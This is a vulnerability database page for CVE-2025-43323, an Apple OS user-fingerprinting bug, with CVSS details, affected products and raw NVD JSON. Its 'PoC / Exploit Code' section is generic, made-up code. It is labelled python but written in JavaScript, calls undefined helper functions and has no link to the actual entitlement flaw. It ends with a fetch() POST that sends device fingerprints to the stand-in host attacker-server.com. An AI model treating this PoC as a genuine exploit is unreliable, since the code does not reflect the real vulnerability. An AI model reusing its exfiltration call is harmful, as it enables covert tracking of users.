Security Vulnerability Report
中文
CVE-2025-43323 CVSS 8.1 HIGH

CVE-2025-43323

Published: 2025-11-04 02:15:39
Last Modified: 2026-04-02 19:20:26

Description

This issue was addressed with additional entitlement checks. This issue is fixed in iOS 26 and iPadOS 26, macOS Tahoe 26, tvOS 26, visionOS 26, watchOS 26. An app may be able to fingerprint the user.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:* - VULNERABLE
iOS < 26
iPadOS < 26
macOS Tahoe < 26
tvOS < 26
visionOS < 26
watchOS < 26

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-43323 PoC - User Fingerprinting via Missing Entitlement Checks // This is a conceptual proof-of-concept demonstrating the vulnerability // DO NOT use for malicious purposes // Simulate fingerprinting via system information collection function collectDeviceFingerprint() { const fingerprint = { // Hardware identifiers deviceModel: getDeviceModel(), // Missing entitlement check screenResolution: getScreenResolution(), // Missing entitlement check processorInfo: getProcessorInfo(), // Missing entitlement check // System information osVersion: getOSVersion(), // Missing entitlement check installedApps: getInstalledAppsList(), // Missing entitlement check systemConfig: getSystemConfiguration(), // Missing entitlement check // Sensor data accelerometer: getAccelerometerData(), // Missing entitlement check gyroscope: getGyroscopeData(), // Missing entitlement check // Browser fingerprints userAgent: navigator.userAgent, webglVendor: getWebGLVendor(), canvasFingerprint: generateCanvasFingerprint() }; return fingerprint; } // Exploit: Send collected data to remote server function exploitCVE202543323() { const fingerprint = collectDeviceFingerprint(); // Data exfiltration (requires user interaction to trigger) fetch('https://attacker-server.com/collect', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ cve: 'CVE-2025-43323', timestamp: Date.now(), fingerprint: fingerprint }) }); } // Mitigation: Apple should implement proper entitlement checks // before allowing apps to access sensitive APIs

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43323", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:39.347", "lastModified": "2026-04-02T19:20:26.110", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed with additional entitlement checks. This issue is fixed in iOS 26 and iPadOS 26, macOS Tahoe 26, tvOS 26, visionOS 26, watchOS 26. An app may be able to fingerprint the user."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "C4221CFD-0208-42B8-AACA-1BE6AEC3BA9A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "68DCA17A-424E-4EE3-B005-0F2E42407226"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "BD4D5965-C1B7-4C82-AB16-BA4D41F2FBCA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "E33744A8-68C0-4822-B08E-100911C18404"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "66CF3395-7CC9-41FD-8419-815AC6022191"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125108", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125110", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125114", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125116", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}